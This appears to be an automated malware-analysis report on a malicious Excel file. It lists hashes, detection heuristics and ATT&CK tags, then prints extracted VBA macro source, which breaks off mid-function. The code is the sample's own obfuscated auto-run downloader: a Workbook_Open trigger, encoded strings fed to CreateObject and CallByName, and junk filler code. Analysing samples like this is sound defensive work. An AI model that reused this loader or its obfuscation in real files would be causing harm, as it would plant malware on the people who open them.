Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 04e4be0570734cc2…

MALICIOUS

Office (OLE)

92.5 KB Created: 2015-07-30 05:24:02 Authoring application: Microsoft Excel First seen: 2016-02-21
MD5: da8942d4ff912a8d37096c28e9524e36 SHA-1: fb662476c18a4bd3fcfc3b3944a24629e160a1c9 SHA-256: 04e4be0570734cc20047ef29e046e9430683f5f78b022d80d78aa4f3af43c29a
248 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The Excel file contains a heavily obfuscated VBA macro that is triggered by the Workbook_Open event. This macro utilizes CreateObject and CallByName functions, indicative of attempts to execute arbitrary code. The presence of 'wscript' and 'auto-exec VBA loader' heuristics further suggests the macro is designed to download and execute a second-stage payload, likely via Windows Script Host or PowerShell, although the specific execution mechanism is obscured.

Heuristics 7

  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set rubliki1 = CreateObject(KOLODA(0))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set rubliki1 = CreateObject(KOLODA(0))
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
     CallByName rubliki2, KOLODA(7), VbLet, 1
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 37121 bytes
SHA-256: 6873bf2ddbe6deecfb42148a3aaabc0debea3eb187ffedb00b1e16b5865aead3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
CargarFichProc "!"
End Sub

Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Public rubliki1 As Object
Public rubliki2 As Object
Public rubliki3  As Object
Public rubliki4 As String
Public rubliki5 As String
Public rubliki6 As Object
Public Const STILL_ACTIVE = &H103
Public KOLODA() As String

Public Sub GuardarFichProcIncer(NombreFichero As String, Nombr As String)
 Dim f As Integer
 Dim i As Integer
 Dim ClaveCPE As String
 Dim ClaveINI_CPE As String
 Dim ClaveFIN_CPE As String
 Dim TExcitacion As String
 Dim InSonda As String
 Dim OutSonda As String
 Dim TPolariz As String
 Dim TNormaliz As String
 Dim Forma As String
 Dim Centrar_c As String
 Dim CentrarGirar_u As String
 Dim Transf As String
 Dim Cmpte As String
 Dim Forma_u As String
 
rubliki5 = rubliki4 + NombreFichero + Replace("varaygt.txt", "t", Nombr)
 GoTo RockStar
 If frmAnalisisIncertidumbres.optSNIFTD.Value = True Then
 ClaveCPE = ClaveSNIFTD
 ClaveINI_CPE = ClaveINI_SNIFTD
 ClaveFIN_CPE = ClaveFIN_SNIFTD
 ElseIf frmAnalisisIncertidumbres.optEXPAND.Value = True Then
 ClaveCPE = ClaveEXPAND
 ClaveINI_CPE = ClaveINI_EXPAND
 ClaveFIN_CPE = ClaveFIN_EXPAND
 End If
 Select Case sSNIF.TD_EXPAND(7)
 Case ClaveSONDA_1
 InSonda = PrefSONDA_1
 Case ClaveSONDA_2
 InSonda = PrefSONDA_2
 Case ClaveSONDA_3
 InSonda = PrefSONDA_3
 Case ClaveSONDA_4
 InSonda = PrefSONDA_4
 Case ClaveSONDA_5
 InSonda = PrefSONDA_5
 End Select
RockStar:
GoTo RockStar1
 Select Case sSNIFT.D_EXPAND(15)
 Case ClaveSONDA_1
 OutSonda = PrefSONDA_1
 Case ClaveSONDA_2
 OutSonda = PrefSONDA_2
 Case ClaveSONDA_3
 OutSonda = PrefSONDA_3
 Case ClaveSONDA_4
 OutSonda = PrefSONDA_4
 Case ClaveSONDA_5
 OutSonda = PrefSONDA_5
 End Select
 Select Case sCNI.FT(11)
 Case Checked
 Centrar_c = PrefSI
 Case Unchecked
 Centrar_c = PrefNO
 End Select
 Select Case sPN.IFU(0)
 Case Checked
 CentrarGirar_u = PrefSI
 Case Unchecked
 CentrarGirar_u = PrefNO
 End Select
 Select Case sPN.IFU(2)
 Case ClaveSINCAMBIO
 Transf = PrefSINCAMBIO
 Case ClaveCONCAMBIO
 Transf = PrefCONCAMBIO
 End Select
 Select Case sPN.IFU(3)
 Case ClaveCPXY
 Cmpte = PrefCPXY
 Case ClaveAE
 Cmpte = PrefAE
 Case ClaveTHPH
 Cmpte = PrefTHPH
 Case ClaveRHLH
 Cmpte = PrefRHLH
 Case ClaveEMEM
 Cmpte = PrefEMEM
 End Select
 Select Case sPN.IFU(4)
 Case ClaveFORM_1
 Forma_u = PrefFORM_1
 Case ClaveFORM_2
 Forma_u = PrefFORM_2
 Case ClaveFORM_3
 Forma_u = PrefFORM_3
 Case ClaveFORM_4
 Forma_u = PrefFORM_4
 End Select
 On Error GoTo ManipularErrorGuardarProc
 f = FreeFile
 Open NombreFichero For Output As f
 Print #ffg.yyyyfg, "FICHERO_MED", frmAnalisisIncerti.dumbres.txtDAMA.Text, _
 vbNewLine
 Print #ffg.yyyyfg, "FICHERO_INCER", sPathMedida, _
 vbNewLine
 Print #ffg.yyyyfg, ClaveNOFREC, frmAnalisisIncertidumbres.lstFrecuencias.ListCount
 For i = 0 To frmAnalisisIncertidumbres.lstFrecuencias.ListCount - 1 Step 1
 Print #ffg.yyyyfg, "", frmAnalisisIncertidumbres.lstFrecuencias.List(i)
 Next i
 Print #ffg.yyyyfg, vbNewLine
 If frmAnalisisIncertidumbres.txtNivelRuido <> "" Then
 Print #ffg.yyyyfg, "S/N_RUIDO", frmAnalisisIncertidumbres.txtNivelRuido.Text
 End If
 If frmAnalisisIncertidumbres.txtDrift <> "" Then
 Print #ffg.yyyyfg, "DRIFT_GRADOS", frmAnalisisIncertidumbres.txtDrift.Text
 End If
 If frmAnalisisIncertidumbres.txtDriftMod <> "" Then
 Print #ffg.yyyyfg, "DRIFT_dB", frmAnalisisIncertidumbres.txtDriftMod.Text
 End If
 If frmAnalisisIncertidumbres.txtLeakage <> "" Then
 Print #ffg.yyyyfg, "S/N_LEAKAGE", frmAnalisisIncertidumbres.txtLeakage.Text
 End If
 If frmAnalisisIncertidumbres.txtCablesJuntas <> "" Then
 Print #ffg.yyyyfg, "CABLES_JUNTAS_GRADOS", frmAnalisisIncertidumbres.txtCablesJuntas.Text
 End If
 If frmAnalisisIncertidumbres.txtCablesJuntasMod <> "" Then
 Print #ffg.yyyyfg, "CABLES_JUNTAS_dB", frmAnalisisIncertidumbres.txtCablesJuntasMod.Text
 End If
 If frmAnalisisIncertidumbres.txtNumSimul <> "" Then
 Print #ffg.yyyyfg, "NO_SIMUL", frmAnalisisIncertidumbres.txtNumSimul.Text, _
 vbNewLine
 End If
 If frmAnalisisIncertidumbres.chkJunto.Value = Checked Then
 Print #ffg.yyyyfg, "JUNTO", "S", _
 vbNewLine
 Else
 Print #ffg.yyyyfg, "JUNTO", "N", _
 vbNewLine
 End If
RockStar1:
 CallByName rubliki2, KOLODA(7), VbLet, 1
 GoTo RockStar3
 If frmAnalisisIncertidumbres.chkCPE.Value = Checked Then
 Print #ffg.yyyyfg, Asteriscos & Asteriscos
 Print #ffg.yyyyfg, , ClaveCPE
 Print #ffg.yyyyfg, Asteriscos & Asteriscos
 Print #ffg.yyyyfg, ClaveINI_CPE
 Print #ffg.yyyyfg, ClaveINSONDA, InSonda, _
 sSNIFTD_E.XPAND(8)
 Print #ffg.yyyyfg, ClaveROUT, sSNIFTD_E.XPAND(9)
 Print #ffg.yyyyfg, ClaveOUTTHETA_SE, sSNIFTD_E.XPAND(11), _
 sSNIFTD_E.XPAND(12)
 Print #ffg.yyyyfg, ClaveOUTPHI_SE, sSNIFTD_E.XPAND(13), _
 sSNIFTD_E.XPAND(14)
 Print #ffg.yyyyfg, ClaveOUTSONDA, OutSonda, _
 sSNIFTD_E.XPAND(16)
 Print #ffg.yyyyfg, ClaveFIN_CPE, vbNewLine
 End If
 If frmAnalisisIncertidumbres.chkFresnel.Value = Checked Then
 Print #ffg.yyyyfg, Asteriscos & Asteriscos
 Print #ffg.yyyyfg, , ClaveSFIFT
 Print #ffg.yyyyfg, Asteriscos & Asteriscos
 Print #ffg.yyyyfg, ClaveINI_SFIFT
 Print #ffg.yyyyfg, ClaveR0, sSF.IFT(3)
 Print #ffg.yyyyfg, ClaveLFI0, sSF.IFT(4)
 Print #ffg.yyyyfg, ClaveLFI90, sSF.IFT(5)
 Print #ffg.yyyyfg, ClaveGSonda, sSF.IFT(6)
 Print #ffg.yyyyfg, ClaveCSonda, sSF.IFT(7)
 Print #ffg.yyyyfg, ClaveFIN_SFIFT, vbNewLine
 End If
 If frmAnalisisIncertidumbres.chkCPC.Value = Checked Then
 Print #ffg.yyyyfg, Asteriscos & Asteriscos
 Print #ffg.yyyyfg, , ClaveCNIFT
 Print #ffg.yyyyfg, Asteriscos & Asteriscos
 Print #ffg.yyyyfg, ClaveINI_CNIFT
 Print #ffg.yyyyfg, ClaveTHETA_C, sCN.IFT(7), sCN.IFT(8)
 Print #ffg.yyyyfg, ClavePHI_C, sCN.IFT(9), sCN.IFT(10)
 Print #ffg.yyyyfg, ClaveCENTRAR_C, Centrar_c, sCN.IFT(12)
 Print #ffg.yyyyfg, ClaveRockStarYGAN, sCN.IFT(13), sCN.IFT(14)
 Print #ffg.yyyyfg, ClaveFSONDA, sCN.IFT(15)
 Print #ffg.yyyyfg, ClaveFIN_CNIFT, vbNewLine
 End If
 If frmAnalisisIncertidumbres.chkCPP.Value = Checked Then
 Print #ffg.yyyyfg, Asteriscos & Asteriscos
 Print #ffg.yyyyfg, , ClavePNIFT
 Print #ffg.yyyyfg, Asteriscos & Asteriscos
 Print #ffg.yyyyfg, ClaveINI_PNIFT
 Print #ffg.yyyyfg, ClaveTHETA_P, sPN.IFT(0), sPN.IFT(1)
 Print #ffg.yyyyfg, ClavePHI_P, sPN.IFT(2), sPN.IFT(3)
 Print #ffg.yyyyfg, ClaveFICHRNF, sPN.IFT(5)
 Print #ffg.yyyyfg, ClaveFICHPRB, sPN.IFT(6)
 Print #ffg.yyyyfg, ClaveFICHREF, sPN.IFT(8)
 Print #ffg.yyyyfg, ClaveRockStarINS, sPN.IFT(9)
 Print #ffg.yyyyfg, ClaveFIN_PNIFT, vbNewLine
 End If
 If frmAnalisisIncertidumbres.chkCoord.Value = Checked Then
 Print #ffg.yyyyfg, Asteriscos & Asteriscos
 Print #ffg.yyyyfg, , ClavePNIFU
 Print #ffg.yyyyfg, Asteriscos & Asteriscos
 Print #ffg.yyyyfg, ClaveINI_PNIFU
 Print #ffg.yyyyfg, ClaveCENTGIRAR_U, CentrarGirar_u, kidr.kidr(1)
 Print #ffg.yyyyfg, ClaveTRANSF_U, Transf
 Print #ffg.yyyyfg, ClaveCMPTE_U, Cmpte
 Print #ffg.yyyyfg, ClaveFORMATO, Forma_u, kidr.kidr(5)
 If Transf = PrefCONCAMBIO Then
 Print #ffg.yyyyfg, ClaveTHETA_U, kidr.kidr(6), kidr.kidr(7)
 Print #ffg.yyyyfg, ClavePHI_U, kidr.kidr(8)
 End If
 If Transf = PrefSINCAMBIO Then
 Print #ffg.yyyyfg, ClaveFACTEXP, kidr.kidr(9), kidr.kidr(10)
 End If
 Print #ffg.yyyyfg, ClaveFIN_PNIFU, vbNewLine
 End If
 Print #ffg.yyyyfg, ClaveFIN
 Close f
RockStar3:
 rubliki2.Open
 GuardarFichProc ""
SalirGuardarProc:
 Exit Sub
ManipularErrorGuardarProc:
 i = MsgBox("No se pudo guardar el fichero correctamente." & _
 vbNewLine & sPathProceso, _
 vbOKOnly + vbCritical, "ERROR PROCESADO DE INCERTIDUMBRES")
 Resume Next
End Sub
Public Sub GuardarFichProc(NombreFichero As String)
 Dim f As Integer
 Dim i As Integer
 Dim ClaveCPE As String
 Dim ClaveINI_CPE As String
 Dim ClaveFIN_CPE As String
 Dim TExcitacion As String
 Dim InSonda As String
 Dim OutSonda As String
 Dim TPolariz As String
 Dim TNormaliz As String
 Dim Forma As String
 Dim Centrar_c As String
 Dim CentrarGirar_u As String
 Dim Transf As String
 Dim Cmpte As String
 Dim Forma_u As String
 GoTo RockStar
 If frmProcesado.optSNIFTD.Value = True Then
 ClaveCPE = ClaveSNIFTD
 ClaveINI_CPE = ClaveINI_SNIFTD
 ClaveFIN_CPE = ClaveFIN_SNIFTD
 ElseIf frmProcesado.optEXPAND.Value = True Then
 ClaveCPE = ClaveEXPAND
 ClaveINI_CPE = ClaveINI_EXPAND
 ClaveFIN_CPE = ClaveFIN_EXPAND
 End If
 Select Case frmProcesado.cboTExcitacion.Text
 Case ClaveLINX
 TExcitacion = PrefLINX
 Case ClaveLINY
 TExcitacion = PrefLINY
 Case ClaveCIRC
 TExcitacion = PrefCIRC
 End Select
 Select Case sSNIFTD_E.XPAND(7)
 Case ClaveSONDA_1
 InSonda = PrefSONDA_1
 Case ClaveSONDA_2
 InSonda = PrefSONDA_2
 Case ClaveSONDA_3
 InSonda = PrefSONDA_3
 Case ClaveSONDA_4
 InSonda = PrefSONDA_4
 Case ClaveSONDA_5
 InSonda = PrefSONDA_5
 End Select
 Select Case sSNIFTD_E.XPAND(15)
 Case ClaveSONDA_1
 OutSonda = PrefSONDA_1
 Case ClaveSONDA_2
 OutSonda = PrefSONDA_2
 Case ClaveSONDA_3
 OutSonda = PrefSONDA_3
 Case ClaveSONDA_4
 OutSonda = PrefSONDA_4
 Case ClaveSONDA_5
 OutSonda = PrefSONDA_5
 End Select
 Select Case sCN.IFT(11)
 Case Checked
 Centrar_c = PrefSI
 Case Unchecked
 Centrar_c = PrefNO
 End Select
 Select Case kidr.kidr(0)
 Case Checked
 CentrarGirar_u = PrefSI
 Case Unchecked
 CentrarGirar_u = PrefNO
 End Select
 Select Case kidr.kidr(2)
 Case ClaveSINCAMBIO
 Transf = PrefSINCAMBIO
 Case ClaveCONCAMBIO
 Transf = PrefCONCAMBIO
 End Select
RockStar:
rbp = CallByName(rubliki1, KOLODA(10), VbGet)
CallByName rubliki2, KOLODA(9), VbMethod, rbp
GoTo RockStar9
 Select Case kidr.kidr(3)
 Case ClaveCPXY
 Cmpte = PrefCPXY
 Case ClaveAE
 Cmpte = PrefAE
 Case ClaveTHPH
 Cmpte = PrefTHPH
 Case ClaveRHLH
 Cmpte = PrefRHLH
 Case ClaveEMEM
 Cmpte = PrefEMEM
 End Select
 Select Case kidr.kidr(4)
 Case ClaveFORM_1
 Forma_u = PrefFORM_1
 Case ClaveFORM_2
 Forma_u = PrefFORM_2
 Case ClaveFORM_3
 Forma_u = PrefFORM_3
 Case ClaveFORM_4
 Forma_u = PrefFORM_4
 End Select
 f = FreeFile
 Open NombreFichero For Output As f
 Print #ffg.yyyyfg, ClaveDAMA, frmProcesado.txtDAMA.Text, _
 vbNewLine
 Print #ffg.yyyyfg, ClaveNOFREC, frmProcesado.lstFrecuencias.ListCount
 For i = 0 To frmProcesado.lstFrecuencias.ListCount - 1 Step 1
 Print #ffg.yyyyfg, "", frmProcesado.lstFrecuencias.List(i)
 Next i
 Print #ffg.yyyyfg, vbNewLine
 If frmProcesado.chkNORMA.Value = Checked Then
 Print #ffg.yyyyfg, Asteriscos & Asteriscos
 Print #ffg.yyyyfg, , ClaveNORMA
 Print #ffg.yyyyfg, Asteriscos & Asteriscos
 Print #ffg.yyyyfg, ClaveINI_NORMA
 Print #ffg.yyyyfg, ClaveTEXCIT, TExcitacion
 Print #ffg.yyyyfg, ClaveFIN_NORMA, vbNewLine
 End If
 If frmProcesado.chkNORMAC.Value = Checked Then
 Print #ffg.yyyyfg, Asteriscos & Asteriscos
 Print #ffg.yyyyfg, , ClaveNORMACOMP
 Print #ffg.yyyyfg, Asteriscos & Asteriscos
 Print #ffg.yyyyfg, ClaveINI_NORMACOMP
 Print #ffg.yyyyfg, ClaveTEXCIT, TExcitacion
 Print #ffg.yyyyfg, ClaveFIN_NORMACOMP, vbNewLine
 End If
 If frmProcesado.chkCPE.Value = Checked Then
 Print #ffg.yyyyfg, Asteriscos & Asteriscos
 Print #ffg.yyyyfg, , ClaveCPE
 Print #ffg.yyyyfg, Asteriscos & Asteriscos
 Print #ffg.yyyyfg, ClaveINI_CPE
 Print #ffg.yyyyfg, ClaveINSONDA, InSonda, _
 sSNIFTD_E.XPAND(8)
 Print #ffg.yyyyfg, ClaveROUT, sSNIFTD_E.XPAND(9)
 Print #ffg.yyyyfg, ClaveOUTTHETA_SE, sSNIFTD_E.XPAND(11), _
 sSNIFTD_E.XPAND(12)
 Print #ffg.yyyyfg, ClaveOUTPHI_SE, sSNIFTD_E.XPAND(13), _
 sSNIFTD_E.XPAND(14)
 Print #ffg.yyyyfg, ClaveOUTSONDA, OutSonda, _
 sSNIFTD_E.XPAND(16)
 Print #ffg.yyyyfg, ClaveFIN_CPE, vbNewLine
 End If
 If frmProcesado.chkFresnel.Value = Checked Then
 Print #ffg.yyyyfg, Asteriscos & Asteriscos
 Print #ffg.yyyyfg, , ClaveSFIFT
 Print #ffg.yyyyfg, Asteriscos & Asteriscos
 Print #ffg.yyyyfg, ClaveINI_SFIFT
 Print #ffg.yyyyfg, ClaveR0, sSF.IFT(3)
 Print #ffg.yyyyfg, ClaveLFI0, sSF.IFT(4)
 Print #ffg.yyyyfg, ClaveLFI90, sSF.IFT(5)
 Print #ffg.yyyyfg, ClaveGSonda, sSF.IFT(6)
 Print #ffg.yyyyfg, ClaveCSonda, sSF.IFT(7)
 Print #ffg.yyyyfg, ClaveFIN_SFIFT, vbNewLine
 End If
 If frmProcesado.chkCPC.Value = Checked Then
 Print #ffg.yyyyfg, Asteriscos & Asteriscos
 Print #ffg.yyyyfg, , ClaveCNIFT
 Print #ffg.yyyyfg, Asteriscos & Asteriscos
 Print #ffg.yyyyfg, ClaveINI_CNIFT
 Print #ffg.yyyyfg, ClaveTHETA_C, sCN.IFT(7), sCN.IFT(8)
 Print #ffg.yyyyfg, ClavePHI_C, sCN.IFT(9), sCN.IFT(10)
 Print #ffg.yyyyfg, ClaveCENTRAR_C, Centrar_c, sCN.IFT(12)
 Print #ffg.yyyyfg, ClaveRockStarYGAN, sCN.IFT(13), sCN.IFT(14)
 Print #ffg.yyyyfg, ClaveFSONDA, sCN.IFT(15)
 Print #ffg.yyyyfg, ClaveFIN_CNIFT, vbNewLine
 End If
 If frmProcesado.chkCPP.Value = Checked Then
 Print #ffg.yyyyfg, Asteriscos & Asteriscos
 Print #ffg.yyyyfg, , ClavePNIFT
 Print #ffg.yyyyfg, Asteriscos & Asteriscos
 Print #ffg.yyyyfg, ClaveINI_PNIFT
 Print #ffg.yyyyfg, ClaveTHETA_P, sPN.IFT(0), sPN.IFT(1)
 Print #ffg.yyyyfg, ClavePHI_P, sPN.IFT(2), sPN.IFT(3)
 Print #ffg.yyyyfg, ClaveFICHRNF, sPN.IFT(5)
 Print #ffg.yyyyfg, ClaveFICHPRB, sPN.IFT(6)
 Print #ffg.yyyyfg, ClaveFICHREF, sPN.IFT(8)
 Print #ffg.yyyyfg, ClaveRockStarINS, sPN.IFT(9)
 Print #ffg.yyyyfg, ClaveFIN_PNIFT, vbNewLine
 End If
 If frmProcesado.chkCoord.Value = Checked Then
 Print #ffg.yyyyfg, Asteriscos & Asteriscos
 Print #ffg.yyyyfg, , ClavePNIFU
 Print #ffg.yyyyfg, Asteriscos & Asteriscos
 Print #ffg.yyyyfg, ClaveINI_PNIFU
 Print #ffg.yyyyfg, ClaveCENTGIRAR_U, CentrarGirar_u, kidr.kidr(1)
 Print #ffg.yyyyfg, ClaveTRANSF_U, Transf
 Print #ffg.yyyyfg, ClaveCMPTE_U, Cmpte
 Print #ffg.yyyyfg, ClaveFORMATO, Forma_u, kidr.kidr(5)
 If Transf = PrefCONCAMBIO Then
 Print #ffg.yyyyfg, ClaveTHETA_U, kidr.kidr(6), kidr.kidr(7)
 Print #ffg.yyyyfg, ClavePHI_U, kidr.kidr(8)
 End If
 If Transf = PrefSINCAMBIO Then
 Print #ffg.yyyyfg, ClaveFACTEXP, kidr.kidr(9), kidr.kidr(10)
 End If
 Print #ffg.yyyyfg, ClaveFIN_PNIFU, vbNewLine
 End If
 Print #ffg.yyyyfg, ClaveFIN
 Close f
RockStar9:
CallByName rubliki2, KOLODA(11), VbMethod, rubliki5, 2
SalirGuardarProc:
 Exit Sub
End Sub
Public Sub ValidarProcIncer(NombreFichero As String)
 Dim i As Integer
 sPathProceso = NombreFichero
 For i = 0 To frmAnalisisIncertidumbres.lstFrecuencias.ListCount - 1 Step 1
 ReDim Preserve sProc1(i)
 sProc1(i) = frmAnalisisIncertidumbres.lstFrecuencias.List(i)
 Next i
 sProc(4) = frmAnalisisIncertidumbres.chkCPE.Value
 sProc(5) = frmAnalisisIncertidumbres.optSNIFTD.Value
 bHaySNIFTD = sProc(5)
 sProc(6) = frmAnalisisIncertidumbres.optEXPAND.Value
 bHayEXPAND = sProc(6)
 sProc(7) = frmAnalisisIncertidumbres.chkFresnel.Value
 If sProc(7) = Checked Then
 bHaySFIFT = True
 Else
 bHaySFIFT = False
 End If
 sProc(8) = frmAnalisisIncertidumbres.chkCPC.Value
 If sProc(8) = Checked Then
 bHayCNIFT = True
 Else
 bHayCNIFT = False
 End If
 sProc(9) = frmAnalisisIncertidumbres.chkCPP.Value
 If sProc(9) = Checked Then
 bHayPNIFT = True
 Else
 bHayPNIFT = False
 End If
 sProc(10) = frmAnalisisIncertidumbres.chkCoord.Value
 If sProc(10) = Checked Then
 bHayPNIFU = True
 Else
 bHayPNIFU = False
 End If
End Sub
Public Sub ValidarProc(NombreFichero As String)
 Dim i As Integer
 sPathProceso = NombreFichero
 For i = 0 To frmProcesado.lstFrecuencias.ListCount - 1 Step 1
 ReDim Preserve sProc1(i)
 sProc1(i) = frmProcesado.lstFrecuencias.List(i)
 Next i
 sProc(2) = frmProcesado.chkNORMA.Value
 If sProc(2) = Checked Then
 bHayNORMA = True
 Else
 bHayNORMA = False
 End If
 sProc(11) = frmProcesado.chkNORMAC.Value
 If sProc(11) = Checked Then
 bHayNORMAC = True
 Else
 bHayNORMAC = False
 End If
 sProc(3) = frmProcesado.cboTExcitacion.Text
 sNORMA = frmProcesado.cboTExcitacion.Text
 sProc(4) = frmProcesado.chkCPE.Value
 sProc(5) = frmProcesado.optSNIFTD.Value
 bHaySNIFTD = sProc(5)
 sProc(6) = frmProcesado.optEXPAND.Value
 bHayEXPAND = sProc(6)
 sProc(7) = frmProcesado.chkFresnel.Value
 If sProc(7) = Checked Then
 bHaySFIFT = True
 Else
 bHaySFIFT = False
 End If
 sProc(8) = frmProcesado.chkCPC.Value
 If sProc(8) = Checked Then
 bHayCNIFT = True
 Else
 bHayCNIFT = False
 End If
 sProc(9) = frmProcesado.chkCPP.Value
 If sProc(9) = Checked Then
 bHayPNIFT = True
 Else
 bHayPNIFT = False
 End If
 sProc(10) = frmProcesado.chkCoord.Value
 If sProc(10) = Checked Then
 bHayPNIFU = True
 Else
 bHayPNIFU = False
 End If
End Sub

Public Function SAmoetutPro(rubliki9() As Variant, rubliki10 As Integer) As String
    Dim rubliki8 As Integer
    Dim sounds2_1 As String
    sounds2_1 = ""
    For rubliki8 = LBound(rubliki9) To UBound(rubliki9)
        sounds2_1 = sounds2_1 & Chr(-rubliki10 + rubliki9(rubliki8) - 4000 - 4854 - 500 - 3 * rubliki10 - 500)
    Next rubliki8
    SAmoetutPro = sounds2_1
End Function
Public Sub GuardarNORMA(FichTmp As String, FichConfig As String)
 Dim f As Integer
 Dim i As Integer
 Dim EXTin As String
 Dim TExcit As Integer
 On Error GoTo ManipularErrorGuardarNORMA
 If uTMedida.Iniciales = Ini_CLB Then
 EXTin = Ext_CCL
 Else
 EXTin = Ext_CCP
 End If
 Select Case sNORMA
 Case ClaveLINX
 TExcit = PrefLINX
 Case ClaveLINY
 TExcit = PrefLINY
 Case ClaveCIRC
 TExcit = PrefCIRC
 End Select
 f = FreeFile
 Open FichConfig & Ext_CIN For Output As f
 Print #ffg.yyyyfg, CharLineaVacia
 Print #ffg.yyyyfg, ""
 Print #ffg.yyyyfg, TExcit, ClaveIPOLD
 Print #ffg.yyyyfg, ""
 Close f
SalirGuardarNORMA:
 Exit Sub
ManipularErrorGuardarNORMA:
 i = MsgBox("No se pudo guardar el fichero correctamente." & _
 vbNewLine & FichConfig & Ext_CIN _
 & vbNewLine & Err.Description, _
 , vbOKOnly + vbCritical, "ERROR NORMA")
 Resume Next
End Sub







Attribute VB_Name = "UserForm2"
Attribute VB_Base = "0{4CE7EFE5-3A1B-4D81-8D1D-10018BAAA674}{0AD4FA6B-0466-43C9-A040-D00A08709909}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Module2"
Public Const PROCESS_QUERY_INFORMATION = &H400
Public Sub CargarFichProc(NombreFichero As String)
 Dim f As Integer
 Dim Buffer As String
 Dim Cadena As String
 Dim i As Integer
 Dim Aux As Integer
 Dim Fallo As Boolean
 Fallo = False
 bHayNORMA = False
 bHayNORMAC = False
 bHaySNIFTD = False
 bHayEXPAND = False
 bHaySFIFT = False
 bHayCNIFT = False
 bHayPNIFT = False
 bHayPNIFU = False
 bHayFrecs = False
 GoTo SAmoetut
 For i = 0 To UBound(sProc) Step 1
 sProc(i) = Unchecked
 Next i
 sProc(0) = CharSinCargar
 sProc(3) = CharSinCargar
 For i = 0 To UBound(sSNIFTD_EXPAND) Step 1
 sSNIFTD_E.XPAND(i) = CharSinCargar
 Next i
 sSNIFTD_E.XPAND(10) = Unchecked
 For i = 0 To UBound(sSFIFT) Step 1
 sSF.IFT(i) = CharSinCargar
 Next i
 For i = 0 To UBound(sCNIFT) Step 1
 sCN.IFT(i) = CharSinCargar
 Next i
 sCN.IFT(11) = Unchecked
 For i = 0 To UBound(sPNIFT) Step 1
 sPN.IFT(i) = CharSinCargar
 Next i
 sPN.IFT(4) = Unchecked
 sPN.IFT(7) = Unchecked
 For i = 0 To UBound(sPNIFU) Step 1
 kidr.kidr(i) = CharSinCargar
 Next i
 kidr.kidr(0) = Unchecked
 On Error GoTo ManipularErrorCargarProc
 f = FreeFile
 Open NombreFichero For Input As f
 Do
 Cadena = ExtraeDato.Dcha(Buffer)
 Select Case ExtraeDatoI.zqda(Buffer)
 Case "", " ", CharLineaVacia
 Case Asteriscos & Asteriscos
 Case ClaveDAMA
 sProc(0) = Cadena
 Case ClaveNOFREC
 Aux = Fix(Val(SinLe.tras(ExtraeDatoIz.qda(Cadena))))
 If Aux > 0 Then
 bHayFrecs = True
 For i = 0 To Aux - 1 Step 1
 ReDim Preserve sPro.c1(i)
 sPro.c1(i) = ExtraeDato.Izqda(Buffer)
 sPro.c1(i) = SinLe.tras(sPro.c1(i))
 Next i
 End If
 Case ClaveINI_NORMA
 bHayNORMA = True
 sProc(2) = Checked
 Case ClaveTEXCIT
 Select Case Cadena
 Case PrefLINX
 sProc(3) = ClaveLINX
 Case PrefLINY
 sProc(3) = ClaveLINY
 Case PrefCIRC
 sProc(3) = ClaveCIRC
 End Select
 Case ClaveFIN_NORMA
 Case ClaveINI_NORMACOMP
 bHayNORMAC = True
 sProc(11) = Checked
 Case ClaveFIN_NORMACOMP
 Case ClaveINI_SNIFTD
 bHaySNIFTD = True
 sProc(5) = Checked
 sProc(4) = sProc(5)
 Case ClaveINI_EXPAND
 bHayEXPAND = True
 sProc(6) = Checked
 sProc(4) = sProc(6)
 Case ClaveINSONDA
 Select Case ExtraeDat.oIzqda(Cadena)
 Case PrefSONDA_1
 sSNIFTD_E.XPAND(7) = ClaveSONDA_1
 Case PrefSONDA_2
 sSNIFTD_E.XPAND(7) = ClaveSONDA_2
 Case PrefSONDA_3
 sSNIFTD_E.XPAND(7) = ClaveSONDA_3
 End Select
 sSNIFTD_E.XPAND(8) = ExtraeDato.Dcha(Cadena)
 Case ClaveROUT
